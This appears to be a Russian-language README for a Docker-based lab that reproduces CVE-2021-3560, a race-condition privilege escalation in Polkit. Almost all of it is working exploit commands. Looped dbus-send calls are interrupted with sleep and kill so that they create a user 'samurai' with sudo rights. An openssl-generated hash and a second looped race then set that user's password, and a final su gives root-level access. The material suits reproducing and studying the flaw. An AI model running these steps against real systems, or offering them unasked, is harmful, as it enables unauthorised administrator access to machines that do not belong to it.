
Эксплойт на основе Docker для CVE-2021-3560 (повышение привилегий Polkit) с пошаговыми инструкциями по созданию пользователя sudo через состояние гонки в dbus-send.
by Mark, Qingchen Yu Для сборки контейнера с помощью
docker build -t <image tag of your choice> .
Для запуска контейнера
docker run -it <image tag name>
начните с start.sh
Измерьте время выполнения: Запомните время 'real' и вычислите его половину.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
Создайте пользователя с привилегиями sudo: Замените X.XXX на половину времени 'real' из предыдущего шага, так как мы хотим прервать процесс в середине. Команда будет выполняться в цикле 10000 раз. Возможно, потребуется запустить этот шаг несколько раз.
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
Проверьте создание пользователя
id samurai
Должна отобразиться информация, что пользователь samurai существует, и его права. Если нет, повторите шаг 2.
Сгенерируйте хэш пароля: в данном случае пароль будет 'iamsamurai' Запомните сгенерированный хэш.
openssl passwd -5 iamsamurai
Установите пароль для нового пользователя: Замените X.XXX на длительность паузы, а Password Hash на хэш из шага 4. Замените UUUU на ID пользователя 'samurai'
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
Переключитесь на нового пользователя с паролем, созданным в шаге 4.
su - samurai
Теперь вы должны иметь возможность использовать 'sudo' от имени этого пользователя.